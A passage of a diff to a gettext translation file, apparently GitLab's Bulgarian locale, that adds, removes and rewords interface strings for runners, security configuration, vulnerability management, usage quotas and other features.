-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "ЗаÑвка за доÑтъп"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "зададете парола"
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "щракнете за качване"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
